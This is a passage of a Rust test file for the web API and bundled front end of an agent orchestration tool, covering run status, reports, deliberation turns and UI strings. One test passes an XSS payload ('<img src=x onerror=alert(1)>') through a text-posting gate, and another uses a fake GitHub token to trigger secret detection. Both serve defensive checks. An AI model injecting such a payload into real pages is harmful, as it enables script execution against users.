15060 assert_eq!(detail.badge_status, "stale");
15061 }
15062
15063 #[tokio::test]
15064 async fn run_display_status_routes_share_the_open_question_store() {
15065 let f = Fixture::start().await;
15066 let id = "20260922-090200-abcd";
15067 write_run(&f.runs(), id, RunStatus::Judging);
15068 let mut state = read_run(&f.runs(), id).unwrap();
15069 state.parked = true;
15070 state.driver_exited = true;
15071 state.event("github-text", "waiting for the owner");
15072 state.save_under(f.home.path()).unwrap();
15073 let mut task = Task::new(
15074 "resumed task".to_owned(),
15075 "do it".to_owned(),
15076 PathBuf::from("/repo"),
15077 Source::Human,
15078 );
15079 task.runs = vec![id.to_owned(), id.to_owned()];
15080 f.queue().put(&mut task).unwrap();
15081 let store = f.questions();
15082 let mut q = Question::new(
15083 id.to_owned(),
15084 "github-text".to_owned(),
15085 "owner".to_owned(),
15086 "Approve the text?".to_owned(),
15087 String::new(),
15088 Vec::new(),
15089 );
15090 store.put(&mut q).unwrap();
15091 for expected in ["waiting", "parked"] {
15092 let list = f.get("/api/runs").await.json();
15093 let detail = f.get(&format!("/api/runs/{id}")).await.json();
15094 assert_eq!(list[0]["display_status"], expected);
15095 assert_eq!(detail["display_status"], expected);
15096 assert_eq!(detail["waiting"], list[0]["waiting"]);
15097 assert_eq!(list[0]["badge_status"], expected);
15098 assert_eq!(detail["badge_status"], expected);
15099 assert!(list[0]["superseded_by"].is_null());
15100 assert!(detail["superseded_by"].is_null());
15101 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
15102 let history = task_detail["history"].as_array().unwrap();
15103 assert_eq!(history.len(), 2);
15104 assert!(history[0]["badge"].is_null());
15105 assert_eq!(history[1]["badge"], expected);
15106 q.status = ask::QuestionStatus::Answered;
15107 store.put(&mut q).unwrap();
15108 }
15109 }
15110
15111 #[tokio::test]
15112 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
15113 let f = Fixture::start().await;
15114 let id = "20260922-090200-abcd";
15115 write_run(&f.runs(), id, RunStatus::Judging);
15116 let mut state = read_run(&f.runs(), id).unwrap();
15117 state.parked = true;
15118 state.driver_exited = true;
15119 state.event("park", "stopped at a node boundary");
15120 state.save_under(f.home.path()).unwrap();
15121
15122 for expected in ["parked", "stale"] {
15123 let list = f.get("/api/runs").await.json();
15124 let detail = f.get(&format!("/api/runs/{id}")).await.json();
15125 assert_eq!(list[0]["live"], "dead");
15126 assert_eq!(list[0]["display_status"], expected);
15127 assert_eq!(detail["display_status"], expected);
15128 state.parked = false;
15131 state.save_under(f.home.path()).unwrap();
15132 }
15133 }
15134
15135 #[tokio::test]
15136 async fn the_run_list_is_newest_first_and_honours_a_limit() {
15137 let f = Fixture::start().await;
15138 for id in [
15139 "20260902-140501-aaaa",
15140 "20260902-140502-bbbb",
15141 "20260902-140503-cccc",
15142 ] {
15143 write_run(&f.runs(), id, RunStatus::Merged);
15144 }
15145
15146 let all = f.get("/api/runs").await.json();
15147 let capped = f.get("/api/runs?limit=2").await.json();
15148
15149 assert_eq!(all[0]["id"], "20260902-140503-cccc");
15150 assert_eq!(all.as_array().map(Vec::len), Some(3));
15151 assert_eq!(capped.as_array().map(Vec::len), Some(2));
15152 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
15153 }
15154
15155 #[tokio::test]
15156 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
15157 let f = Fixture::start().await;
15158 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
15159
15160 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
15161
15162 assert_eq!(res.status, 200);
15163 assert!(
15164 res.headers
15165 .contains("content-type: text/plain; charset=utf-8"),
15166 "a browser must render it, not download it: {}",
15167 res.headers
15168 );
15169 assert!(
15173 res.body.contains("20260902-140501-a1b2"),
15174 "the report is about the run that was asked for: {}",
15175 res.body
15176 );
15177 }
15178
15179 #[tokio::test]
15180 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
15181 crate::run::pin_test_home();
15183 let f = Fixture::start().await;
15184 let id = "20260902-140501-a1b2";
15185 write_run(&f.runs(), id, RunStatus::Stalled);
15186 let path = f.runs().join(id).join("run.json");
15189 let mut v: serde_json::Value =
15190 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
15191 v["tally"] = serde_json::json!({
15192 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
15193 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
15194 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
15195 "met_quorum": false, "rankings": 1
15196 });
15197 v["reviews"] = serde_json::json!([{
15198 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
15199 "e2e_deferred": true,
15200 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
15201 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
15202 ]}]
15203 }]);
15204 std::fs::write(&path, v.to_string()).unwrap();
15205 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
15206 std::fs::write(
15207 f.runs().join("20260902-140502-dead").join("run.json"),
15208 "{not json",
15209 )
15210 .unwrap();
15211
15212 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
15213
15214 assert_eq!(res.status, 200, "{}", res.body);
15215 assert!(res.headers.contains("content-type: application/json"));
15216 let j = res.json();
15217 assert_eq!(j["schema"], 1);
15218 assert_eq!(j["header"]["id"], id);
15219 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
15220 let kinds: Vec<&str> = j["sections"]
15221 .as_array()
15222 .unwrap()
15223 .iter()
15224 .map(|s| s["kind"].as_str().unwrap())
15225 .collect();
15226 assert_eq!(kinds, ["candidates", "tally", "review"]);
15227 let tally = &j["sections"][1]["tally"];
15228 assert_eq!(
15229 (tally["decided"].clone(), tally["provisional"].clone()),
15230 (false.into(), true.into())
15231 );
15232 let round = &j["sections"][2]["rounds"][0];
15233 assert_eq!(round["e2e"]["state"], "deferred");
15234 assert_eq!(round["findings"][0]["severity"], "major");
15235 assert_eq!(round["findings"][0]["blocking"], true);
15236 assert_eq!(round["findings"][0]["state"], "open");
15237
15238 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
15240
15241 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
15243 assert_ne!(bad.status, 200, "{}", bad.body);
15244 assert_eq!(
15245 bad.status,
15246 f.get("/api/runs/20260902-140502-dead/report").await.status
15247 );
15248 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
15249 assert_eq!(
15250 f.get("/api/runs/20260902-999999-ffff/report.json")
15251 .await
15252 .status,
15253 404
15254 );
15255 }
15256
15257 #[tokio::test]
15258 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
15259 crate::run::pin_test_home();
15260 let f = Fixture::start().await;
15261 let id = "20260902-140503-delib";
15262 write_run(&f.runs(), id, RunStatus::Merged);
15263 let path = f.runs().join(id).join("run.json");
15264 let mut v: serde_json::Value =
15265 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
15266 v["judgements"] = serde_json::json!([
15267 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
15268 ]);
15269 v["tally"] = serde_json::json!({
15270 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
15271 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
15272 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
15273 "met_quorum": true, "rankings": 1
15274 });
15275 v["deliberation"] = serde_json::json!([
15276 {
15277 "round": 1,
15278 "turns": [
15279 {
15280 "judge": 1,
15281 "agent": "judge-1",
15282 "body": "I prefer candidate **A** because it has cleaner tests.",
15283 "tentative": "A"
15284 }
15285 ]
15286 },
15287 {
15288 "round": 2,
15289 "turns": [
15290 {
15291 "judge": 1,
15292 "agent": "judge-1",
15293 "body": "Still thinking, no choice yet.",
15294 "tentative": null
15295 }
15296 ]
15297 }
15298 ]);
15299 std::fs::write(&path, v.to_string()).unwrap();
15300
15301 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
15302 assert_eq!(res.status, 200, "{}", res.body);
15303 let j = res.json();
15304 let judging = j["sections"]
15305 .as_array()
15306 .unwrap()
15307 .iter()
15308 .find(|s| s["kind"] == "judging")
15309 .expect("judging section exists");
15310
15311 let delib_lines = judging["deliberation"].as_array().unwrap();
15313 assert_eq!(delib_lines.len(), 2);
15314 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
15315 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
15316
15317 let rounds = judging["rounds"].as_array().unwrap();
15319 assert_eq!(rounds.len(), 2);
15320 let r1_t0 = &rounds[0]["turns"][0];
15321 assert_eq!(r1_t0["judge"], 1);
15322 assert_eq!(r1_t0["agent"], "judge-1");
15323 assert_eq!(r1_t0["tentative"], "A");
15324 assert_eq!(
15325 r1_t0["body"],
15326 "I prefer candidate **A** because it has cleaner tests."
15327 );
15328 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
15329
15330 let r2_t0 = &rounds[1]["turns"][0];
15331 assert_eq!(r2_t0["judge"], 1);
15332 assert_eq!(r2_t0["agent"], "judge-1");
15333 assert!(r2_t0["tentative"].is_null());
15334 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
15335 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
15336
15337 let id_empty = "20260902-140504-nodelib";
15339 write_run(&f.runs(), id_empty, RunStatus::Merged);
15340 let path_empty = f.runs().join(id_empty).join("run.json");
15341 let mut v_empty: serde_json::Value =
15342 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
15343 v_empty["judgements"] = serde_json::json!([
15344 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
15345 ]);
15346 v_empty["deliberation"] = serde_json::json!([]);
15347 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
15348
15349 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
15350 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
15351 let j_empty = res_empty.json();
15352 let judging_empty = j_empty["sections"]
15353 .as_array()
15354 .unwrap()
15355 .iter()
15356 .find(|s| s["kind"] == "judging")
15357 .expect("judging section exists");
15358 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
15359 }
15360
15361 #[tokio::test]
15362 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
15363 let f = Fixture::start().await;
15364
15365 let html = f.get("/").await;
15366 let css = f.get("/app.css").await;
15367 let js = f.get("/app.js").await;
15368
15369 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
15370 assert!(
15371 html.headers
15372 .contains("content-type: text/html; charset=utf-8")
15373 );
15374 assert!(css.headers.contains("content-type: text/css"));
15375 assert!(js.headers.contains("content-type: text/javascript"));
15376 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
15377 }
15378
15379 #[test]
15380 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
15381 let body = |name: &str| {
15382 let at = APP_JS
15383 .find(name)
15384 .unwrap_or_else(|| panic!("{name} missing"));
15385 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
15386 };
15387 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
15388 let note = body("function landRoundNote");
15389 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
15390 assert!(note.contains("Land round ${round}"));
15391 let land = body("function renderLand");
15392 let note_at = land
15393 .find("landRoundNote(pr)")
15394 .expect("renderLand uses the note");
15395 assert!(
15396 note_at
15397 < land
15398 .find("roundRail(pr)")
15399 .expect("renderLand uses the rail")
15400 );
15401 }
15402
15403 #[test]
15404 fn the_runs_page_redesign_keeps_its_guards() {
15405 let body = |name: &str| {
15406 let at = APP_JS
15407 .find(name)
15408 .unwrap_or_else(|| panic!("{name} missing"));
15409 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
15410 };
15411 let land = body("function renderLand");
15413 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
15414 assert!(
15415 !land.contains("box.append("),
15416 "renderLand must use append()"
15417 );
15418 assert!(land.contains("append(box, ["));
15419 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
15421 assert!(
15422 body("function applyRoute")
15423 .contains("route.name !== state.route.name || route.id !== state.route.id")
15424 );
15425 assert!(!APP_JS.contains("adviseConvergeDiagram"));
15427 assert!(!INDEX_HTML.contains("advise-converge"));
15428 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
15429 assert!(APP_JS.contains("provisional"));
15430 for id in [
15431 "run-tab-overview",
15432 "run-tab-timeline",
15433 "run-tab-report",
15434 "run-report",
15435 "runs-scope",
15436 ] {
15437 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
15438 }
15439 assert!(!INDEX_HTML.contains("runs-tree"));
15440 assert!(!INDEX_HTML.contains("run-raw-panel"));
15441 assert!(APP_JS.contains("resume"));
15443 assert!(APP_JS.contains("unreadable"));
15445 }
15446
15447 #[test]
15448 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
15449 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
15450 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
15451 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
15452 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
15453 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
15454 assert!(APP_JS.contains("unreadable` : null"));
15456 }
15457
15458 #[test]
15459 fn blocked_run_detail_exposes_the_failed_gate_reason() {
15460 let mut state = RunState::new(
15461 "/repo".into(),
15462 "main".into(),
15463 "abc".into(),
15464 "task".into(),
15465 crate::config::Config::default(),
15466 );
15467 state.status = RunStatus::Blocked;
15468 state.gate_ran = true;
15469 state.gate.push(crate::run::CommandOutcome {
15470 command: "cargo make check".into(),
15471 code: Some(1),
15472 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
15473 duration_ms: 0,
15474 resource_blocked: false,
15475 });
15476 let view = RunDetailView::of(
15477 state,
15478 false,
15479 crate::run::Liveness::Unknown,
15480 None,
15481 None,
15482 None,
15483 );
15484 let value = serde_json::to_value(view).unwrap();
15485 assert_eq!(
15486 value["stop_reason"],
15487 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
15488 );
15489 }
15490
15491 #[test]
15492 fn the_run_detail_payload_says_whether_the_run_is_done() {
15493 for (status, done) in [
15495 (RunStatus::Superseded, true),
15496 (RunStatus::Blocked, true),
15497 (RunStatus::Landing, false),
15498 ] {
15499 let mut state = RunState::new(
15500 std::path::PathBuf::from("/repo"),
15501 "main".to_owned(),
15502 "abc".to_owned(),
15503 "x".to_owned(),
15504 crate::config::Config::default(),
15505 );
15506 state.status = status;
15507 let v = serde_json::to_value(RunDetailView::of(
15508 state,
15509 false,
15510 crate::run::Liveness::Unknown,
15511 None,
15512 None,
15513 None,
15514 ))
15515 .unwrap();
15516 assert_eq!(v["done"], done, "{status:?}");
15517 }
15518 }
15519
15520 fn has_strong(nodes: &[md::Node]) -> bool {
15522 serde_json::to_string(nodes).unwrap().contains("strong")
15523 }
15524
15525 #[test]
15526 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
15527 let mut state = RunState::new(
15528 std::path::PathBuf::from("/repo"),
15529 "main".to_owned(),
15530 "abc".to_owned(),
15531 "x".to_owned(),
15532 crate::config::Config::default(),
15533 );
15534 let proposal = |approach: &str| {
15535 serde_json::json!({
15536 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
15537 })
15538 };
15539 state.advice = Some(
15540 serde_json::from_value(serde_json::json!({
15541 "records": [
15542 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
15543 "proposal": proposal("do **this**")},
15544 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
15545 ],
15546 "synthesis": "- one\n- **two**\n\n`code`",
15547 }))
15548 .unwrap(),
15549 );
15550 state.candidates = serde_json::from_value(serde_json::json!([
15551 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
15552 "summary": "did **it**"},
15553 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
15554 ]))
15555 .unwrap();
15556 state.reviews = serde_json::from_value(serde_json::json!([{
15559 "round": 1, "head": "h",
15560 "reviews": [{
15561 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
15562 "findings": [
15563 {"severity": "nit", "title": "t1", "detail": "plain nit"},
15564 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
15565 ],
15566 }],
15567 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
15568 "fix": {"agent": "a", "notes": "fixed **it**",
15569 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
15570 }, {"round": 2, "head": "h2", "reviews": []}]))
15571 .unwrap();
15572
15573 let v = serde_json::to_value(RunDetailView::of(
15574 state,
15575 false,
15576 crate::run::Liveness::Unknown,
15577 None,
15578 None,
15579 None,
15580 ))
15581 .unwrap();
15582
15583 let strong = |p: &str| {
15584 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
15585 assert!(n.to_string().contains("strong"), "{p}: {n}");
15586 };
15587 strong("/advice_md/synthesis");
15588 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
15589 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
15590 strong("/advice_md/approaches/0");
15591 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
15592 strong("/candidate_summaries_md/0");
15593 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
15594 strong("/reviews_md/0/reviewers/0/summary");
15595 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
15596 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
15597 assert!(f[1].to_string().contains("strong"));
15598 strong("/reviews_md/0/reconsideration/0");
15599 strong("/reviews_md/0/fix/notes");
15600 strong("/reviews_md/0/fix/rejected/0");
15601 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
15602 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
15603 assert_eq!(v["candidates"][0]["summary"], "did **it**");
15605 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
15606 }
15607
15608 #[test]
15609 fn a_run_without_advice_has_no_advice_md() {
15610 let state = RunState::new(
15611 std::path::PathBuf::from("/repo"),
15612 "main".to_owned(),
15613 "abc".to_owned(),
15614 "x".to_owned(),
15615 crate::config::Config::default(),
15616 );
15617 let p = run_prose_md(&state);
15618 assert!(p.advice_md.is_none());
15619 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
15620 }
15621
15622 #[test]
15623 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
15624 let store = ask::Questions::at(PathBuf::from("unused"));
15625 let gt = crate::github_text::Withheld {
15626 title: false,
15627 body: true,
15628 categories: vec!["sensitive-data".into()],
15629 };
15630 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
15631 let (detail, comparison) =
15632 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
15633 let mut q = Question::new(
15634 "r".into(),
15635 "github-text".into(),
15636 "posting-gate".into(),
15637 "s".into(),
15638 detail,
15639 Vec::new(),
15640 );
15641 assert!(
15642 QuestionView::of(q.clone(), &store, false)
15643 .posting_view
15644 .is_none()
15645 );
15646 q.posting_comparison = Some(comparison);
15647 let view = QuestionView::of(q.clone(), &store, false);
15648 let field = &view.posting_view.unwrap().fields[0];
15649 assert_eq!(
15650 field
15651 .original
15652 .iter()
15653 .map(|f| f.text.as_str())
15654 .collect::<String>(),
15655 body
15656 );
15657 assert!(field.original[0].text.starts_with("<img"));
15658 let original_question: Question =
15659 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
15660 assert_eq!(original_question, q);
15661 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
15662 .original
15663 .start = 1;
15664 assert!(
15665 QuestionView::of(q.clone(), &store, false)
15666 .posting_view
15667 .is_none()
15668 );
15669 q.posting_comparison = original_question.posting_comparison;
15670 q.detail.push_str("extra context");
15671 assert!(
15672 QuestionView::of(q.clone(), &store, false)
15673 .posting_view
15674 .is_some()
15675 );
15676 q.detail.insert(0, 'x');
15677 assert!(QuestionView::of(q, &store, false).posting_view.is_none());
15678 }
15679
15680 #[test]
15681 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
15682 let store = ask::Questions::at(PathBuf::from("unused"));
15683 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
15684 let gt = crate::github_text::Withheld::from_check(
15685 &crate::github_text::check("fix: x", body),
15686 "fix: x",
15687 body,
15688 )
15689 .unwrap();
15690 let (detail, comparison) =
15691 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
15692 let mut q = Question::new(
15693 "r".into(),
15694 "github-text".into(),
15695 "posting-gate".into(),
15696 "s".into(),
15697 detail,
15698 Vec::new(),
15699 );
15700 q.posting_comparison = Some(comparison);
15701 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, false)).unwrap();
15702 let field = &value["posting_view"]["fields"][0];
15703 let group = &field["replacement_group"];
15704 let triggers = group["triggers"].as_array().unwrap();
15705 assert_eq!(triggers.len(), 2);
15706 assert_ne!(triggers[0], triggers[1]);
15707 for id in triggers {
15708 assert!(
15709 field["original"]
15710 .as_array()
15711 .unwrap()
15712 .iter()
15713 .any(|f| &f["pair"] == id)
15714 );
15715 assert!(
15716 !field["changed"]
15717 .as_array()
15718 .unwrap()
15719 .iter()
15720 .any(|f| &f["pair"] == id)
15721 );
15722 }
15723 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
15724 group["id"].as_u64().unwrap() as usize;
15725 assert!(
15726 QuestionView::of(q, &store, false).posting_view.is_none(),
15727 "group and trigger IDs cannot collide"
15728 );
15729 }
15730
15731 #[test]
15732 fn a_question_view_carries_markdown_for_each_thread_turn() {
15733 let home = TempDir::new().unwrap();
15734 let store = ask::Questions::at(home.path().join("questions"));
15735 let mut q = Question::new(
15736 "run".to_owned(),
15737 "implement".to_owned(),
15738 "impl-A".to_owned(),
15739 "which?".to_owned(),
15740 String::new(),
15741 Vec::new(),
15742 );
15743 q.say("plain words").unwrap();
15744 q.reply("use **this**", Vec::new()).unwrap();
15745 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
15746 let bodies = &v["thread_bodies_md"];
15747 assert_eq!(bodies.as_array().unwrap().len(), 2);
15748 assert!(!bodies[0].to_string().contains("strong"));
15749 assert!(bodies[1].to_string().contains("strong"));
15750 }
15751
15752 #[test]
15753 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
15754 let home = TempDir::new().unwrap();
15755 let store = ask::Questions::at(home.path().join("questions"));
15756 let mut q = Question::new(
15757 "run".to_owned(),
15758 "conduct".to_owned(),
15759 "conduct".to_owned(),
15760 "which?".to_owned(),
15761 String::new(),
15762 Vec::new(),
15763 );
15764 q.say("plain words").unwrap();
15765 q.thread.push(ask::Turn {
15766 who: ask::Who::Agent,
15767 body: "Settled as `merge`".to_owned(),
15768 at: jiff::Timestamp::now(),
15769 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
15770 });
15771 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
15772 let notes = &v["thread_notes_md"];
15773 assert_eq!(notes.as_array().unwrap().len(), 2);
15774 assert!(notes[0].is_null());
15775 let text = notes[1].to_string();
15776 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
15777 assert!(APP_JS.contains("ask-turn-note"));
15778 }
15779
15780 #[test]
15781 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
15782 assert!(APP_JS.contains("function landView(run, raw) {"));
15786 assert!(
15787 APP_JS.contains(
15788 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
15789 )
15790 );
15791 assert!(APP_JS.contains("const pr = landView(run, raw);"));
15792 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
15793 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
15794 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
15795 }
15796
15797 #[test]
15798 fn live_runs_are_never_hidden_or_folded_as_superseded() {
15799 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
15800 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
15801 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
15802 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
15803 }
15804
15805 #[test]
15806 fn review_rounds_label_a_distinct_verified_head() {
15807 assert!(APP_JS.contains("round.verified_head"));
15808 assert!(APP_JS.contains("verified HEAD"));
15809 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
15810 }
15811
15812 #[test]
15813 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
15814 assert!(APP_JS.contains("blocked: { glyph:"));
15818 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
15819
15820 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
15824 assert!(
15825 APP_JS.contains(
15826 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
15827 ),
15828 "the note line must name what a blocked task is waiting on, not just that it is blocked"
15829 );
15830 assert!(APP_JS.contains("if (status === \"blocked\") {"));
15834
15835 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
15839 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
15840 assert!(
15841 APP_JS.contains("location.hash = \"#/questions\";"),
15842 "a question node must jump to the Questions screen, not pretend to be a task"
15843 );
15844
15845 assert!(APP_JS.contains("Resolved questions"));
15848 assert!(APP_JS.contains("r.answersList.append("));
15849 assert!(APP_CSS.contains(".task-answers"));
15850 {
15851 let start = APP_JS
15852 .find("function updateTalkTaskRow")
15853 .expect("updateTalkTaskRow");
15854 let body = &APP_JS[start..];
15855 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
15856 assert!(
15857 body.contains(
15858 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
15859 ),
15860 "a chat-filed task row must link to the task page"
15861 );
15862 assert!(
15863 !body.contains("#/runs/") && !body.contains("#/queue/"),
15864 "the row must not branch to a run or the queue card"
15865 );
15866 assert!(APP_CSS.contains(".talk-task-link"));
15867 }
15868 }
15869
15870 #[test]
15871 fn a_task_notification_links_to_the_task_page() {
15872 let start = APP_JS
15874 .find("function noticeLink(")
15875 .expect("noticeLink exists");
15876 let body = &APP_JS[start..];
15877 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
15878 assert!(
15879 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
15880 "a task notice's link must target the task page"
15881 );
15882 assert!(
15883 !body.contains("#/queue/"),
15884 "regression: the task link must not go back to the Backlog route"
15885 );
15886 assert!(
15887 APP_JS.contains(
15888 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
15889 ),
15890 "`#/tasks/<id>` must parse into the task route"
15891 );
15892
15893 assert!(
15895 APP_JS.contains(
15896 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
15897 ),
15898 "`#/queue/<id>` must parse into a route carrying that id"
15899 );
15900
15901 assert!(APP_JS.contains("state.queueFocus = route.id;"));
15905 assert!(APP_JS.contains("function consumeQueueFocus()"));
15906 assert!(APP_JS.contains("jumpToTask(id)"));
15907 }
15908
15909 #[test]
15912 fn chat_rows_put_the_title_alone_on_the_first_line() {
15913 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
15914 assert!(APP_CSS.contains(
15915 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
15916 ));
15917 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
15918 assert!(APP_JS.contains("class: \"badge talk-unread\""));
15919 }
15920
15921 #[test]
15922 fn run_rows_put_the_title_alone_on_the_first_line() {
15923 assert!(
15924 APP_CSS.contains(
15925 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
15926 )
15927 );
15928 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
15929 assert!(APP_JS.contains("class: \"card run-card\""));
15930 assert!(APP_JS.contains("class: \"repo run-id\""));
15931 }
15932
15933 #[test]
15937 fn wide_screens_show_list_and_preview_side_by_side() {
15938 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
15940 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
15941 assert!(APP_CSS.contains("main[data-split]"));
15942 assert!(APP_CSS.contains("body[data-split]"));
15943
15944 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
15946 assert!(
15947 APP_JS.contains(
15948 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
15949 )
15950 );
15951 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
15952 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
15953 assert!(INDEX_HTML.contains("id=\"split-empty\""));
15954
15955 assert!(APP_JS.contains("function markSelected() {"));
